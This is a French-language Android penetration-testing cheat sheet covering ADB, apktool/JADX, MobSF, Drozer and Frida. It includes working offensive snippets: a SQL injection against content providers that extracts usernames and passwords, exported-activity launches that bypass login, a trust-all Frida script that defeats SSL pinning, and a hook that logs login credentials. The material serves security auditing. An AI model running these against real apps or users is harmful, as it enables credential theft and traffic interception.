androidadbdrozer
MDstable
Android Pentest — ADB, Drozer, MobSF, Frida
Audit d'applications Android : ADB, Drozer (composants exportés), MobSF (analyse statique/dynamique), Frida (SSL pinning bypass)
snippetadvanced 2026-05-14 5 min read
androidadbdrozermobsffridassl-pinningapkmobilepentest
Environnement
bash
Variables
{{DEVICE_IP}}
# Prérequis# - Android Studio (émulateur) ou device physique avec débogage USB activé# - ADB installé# - Java 11+# Vérifier la connexion ADBadb devices# List of devices attached# emulator-5554 device → OK# Se connecter via TCP/IP (device sur WiFi)adb tcpip 5555adb connect {{DEVICE_IP}}5555
ADB — Commandes essentielles d'audit
bash
Variables
{{APP_NAME}}
{{PACKAGE_NAME}}
{{APK_FILE}}
{{TAG}}
{{FILE}}
{{LOCAL_FILE}}
# Informations sur le deviceadb shell getprop roproductmodeladb shell getprop robuildversionrelease # version Androidadb shell getprop robuildversionsdk # API level# Lister les applications installéesadb shell pm list packages # toutesadb shell pm list packages -3 # tiers uniquementadb shell pm list packages | grep {{APP_NAME}}# Chemin de l'APK d'une applicationadb shell pm path {{PACKAGE_NAME}}# → package:/data/app/{{PACKAGE_NAME}}.apk# Extraire l'APKadb pull /data/app/{{PACKAGE_NAME}}/base.apk {{APP_NAME}}apk# Installer un APKadb install {{APK_FILE}}adb install -g {{APK_FILE}} # accorde toutes les permissions auto# Shell sur le deviceadb shelladb shell su # root si rooté# Logcat — logs en temps réeladb logcatadb logcat -s "{{TAG}}" # filtrer par tagadb logcat | grep -i "password\|token\|secret\|key"# Copier des fichiersadb pull /sdcard/Download/{{FILE}}adb push {{LOCAL_FILE}} /sdcard/
Analyse statique manuelle
bash
Variables
{{APP_NAME}}
# Décompiler l'APK avec apktoolapktool d {{APP_NAME}}apk -o decompiled# Lire le AndroidManifest.xml décompilécat decompiled/AndroidManifest.xml# Chercher des secrets codés en durgrep -rE "api_key|api_secret|password|token|secret|bearer|aws_" decompiled# Chercher des URLs et endpointsgrep -rE "https?://[a-zA-Z0-9./_-]+" decompiled | grep -v "schema\|android"# Chercher les activités exportées dans le manifestgrep -A2 "exported=\"true\"" decompiled/AndroidManifest.xml# Convertir le bytecode DEX → Java avec JADXjadx {{APP_NAME}}apk -d jadx_output# Interface graphiquejadx-gui {{APP_NAME}}apk
MobSF — Analyse complète (statique + dynamique)
bash
Variables
{{APP_NAME}}
{{MOBSF_API_KEY}}
# Lancer MobSF via Dockerdocker run -it --rm -p 80008000 opensecurity/mobile-security-framework-mobsflatest# Accéder à l'interface : http://localhost:8000# Upload de l'APK → analyse automatique :# - Permissions déclarées# - Composants exportés (activités, services, receivers, providers)# - Secrets dans le code# - Vulnérabilités connues (CVE)# - Configuration SSL# - Score de sécurité sur 100# API MobSF pour automationcurl -F "file=@{{APP_NAME}}.apk" http//localhost8000/api/v1/upload-H "Authorization: {{MOBSF_API_KEY}}"
Drozer — Audit des composants Android
bash
Variables
{{APP_NAME}}
{{PACKAGE_NAME}}
# Installationpip3 install drozer# Sur le device/émulateur : installer l'agent Drozeradb install drozer-agent.apk# Forwarder le port ADBadb forward tcp31415 tcp31415# Lancer l'agent sur le device (via UI) puis se connecterdrozer console connect# Lister les packagesdz> run apppackagelist -f {{APP_NAME}}dz> run apppackageinfo -a {{PACKAGE_NAME}}
Activités exportées (Broken Activity Export)
bash
Variables
{{PACKAGE_NAME}}
{{ACTIVITY_NAME}}
# Lister les activités accessibles sans permissiondz> run appactivityinfo -a {{PACKAGE_NAME}}# Lancer une activité exportée directement (bypass écran de login)dz> run appactivitystart --component {{PACKAGE_NAME}} {{PACKAGE_NAME}}{{ACTIVITY_NAME}}# Via ADBadb shell am start -n "{{PACKAGE_NAME}}/{{PACKAGE_NAME}}.{{ACTIVITY_NAME}}"adb shell am start -n "{{PACKAGE_NAME}}/{{PACKAGE_NAME}}.AdminActivity"
Content Providers — accès aux données
bash
Variables
{{PACKAGE_NAME}}
# Lister les content providersdz> run appproviderinfo -a {{PACKAGE_NAME}}# Requêter un provider (lecture de données)dz> run appproviderquery content//{{PACKAGE_NAME}}provider/usersdz> run appproviderquery content//{{PACKAGE_NAME}}provider/users--selection "1=1" --projection "username,password"# Injection SQL dans un content providerdz> run appproviderquery content//{{PACKAGE_NAME}}provider/users--selection "1=1) UNION SELECT username,password,null FROM users--"# Scan automatique des vulnérabilités providersdz> run scannerproviderinjection -a {{PACKAGE_NAME}}dz> run scannerprovidertraversal -a {{PACKAGE_NAME}}
Services et Broadcast Receivers
bash
Variables
{{PACKAGE_NAME}}
{{SERVICE_NAME}}
{{RECEIVER}}
# Services exportésdz> run appserviceinfo -a {{PACKAGE_NAME}}dz> run appservicestart --component {{PACKAGE_NAME}} {{PACKAGE_NAME}}{{SERVICE_NAME}}# Broadcast receiversdz> run appbroadcastinfo -a {{PACKAGE_NAME}}# Envoyer un intent malveillantdz> run appbroadcastsend --component {{PACKAGE_NAME}} {{PACKAGE_NAME}}{{RECEIVER}}--extra string "action" "admin"
Frida — Hooking dynamique & SSL Pinning Bypass
bash
Variables
{{VERSION}}
# Installer Fridapip3 install frida-tools# Démarrer le serveur Frida sur le deviceadb push frida-server-{{VERSION}}-android-x86_64 /data/local/tmp/frida-serveradb shell chmod x /data/local/tmp/frida-serveradb shell /data/local/tmp/frida-server &# Lister les applications en coursfrida-ps -U # -U = USB device
Bypass SSL Pinning
bash
Variables
{{PACKAGE_NAME}}
# Script universel SSL Pinning bypass# Utiliser le script ssl-pinning-bypass de commonsguy ou 0xdeafrida -U -l ssl_bypassjs -f {{PACKAGE_NAME}} --no-pause# Bypass avec objection (wrapper Frida)pip3 install objectionobjection -g {{PACKAGE_NAME}} explore# Dans la console objection :android sslpinning disable
javascript
// ssl_bypass.js — bypass TrustManager customJava.perform(function() {// Bypass TrustManager (accepte tous les certificats)var TrustManager = Java.registerClass({name: 'com.custom.TrustManager',implements: [Java.use('javax.net.ssl.X509TrustManager')],methods: {checkClientTrusted: function(chain, authType) {},checkServerTrusted: function(chain, authType) {},getAcceptedIssuers: function() { return []; }}});var SSLContext = Java.use('javax.net.ssl.SSLContext');SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;','[Ljavax.net.ssl.TrustManager;','java.security.SecureRandom').implementation = function(km, tm, sr) {this.init(km, [TrustManager.$new()], sr);};// Bypass HostnameVerifiervar HostnameVerifier = Java.use('javax.net.ssl.HttpsURLConnection');HostnameVerifier.setDefaultHostnameVerifier.implementation = function(verifier) {this.setDefaultHostnameVerifier(Java.registerClass({name: 'com.bypass.HV',implements: [Java.use('javax.net.ssl.HostnameVerifier')],methods: { verify: function(host, session) { return true; } }}).$new());};console.log('[+] SSL Pinning bypassé');});
Hooking de méthodes
javascript
Variables
{{PACKAGE_NAME}}
// Hook une méthode pour lire ses arguments et valeur de retourJava.perform(function() {var AuthManager = Java.use('{{PACKAGE_NAME}}.AuthManager');AuthManager.login.overload('java.lang.String', 'java.lang.String').implementation = function(username, password) {console.log('[HOOK] login(' + username + ', ' + password + ')');var result = this.login(username, password);console.log('[HOOK] return: ' + result);return result;};});
Analyse du stockage local
bash
Variables
{{PACKAGE_NAME}}
{{DB_NAME}}
{{PREFS_NAME}}
# Fichiers de l'application sur le device (root requis ou debug mode)adb shell run-as {{PACKAGE_NAME}} ls /data/data/{{PACKAGE_NAME}}# Bases de données SQLiteadb shell run-as {{PACKAGE_NAME}} ls /data/data/{{PACKAGE_NAME}}/databases/adb pull /data/data/{{PACKAGE_NAME}}/databases/{{DB_NAME}}dbsqlite3 {{DB_NAME}}db ".dump" | grep -i "password\|token\|user"# SharedPreferences (XML)adb shell run-as {{PACKAGE_NAME}} cat /data/data/{{PACKAGE_NAME}}/shared_prefs/{{PREFS_NAME}}xml# Fichiers dans le stockage externeadb shell ls /sdcard/Android/data/{{PACKAGE_NAME}}
💡 Tip —
Objection simplifie considérablement le pentest Android interactif : une commande android sslpinning disable bypass la majorité des implémentations de SSL pinning, et android keystore list extrait les clés du KeyStore. Utiliser Objection pour l'exploration interactive, Frida directement pour les scripts personnalisés.
OPS·BRAIN v1.075 notes · Securitylocal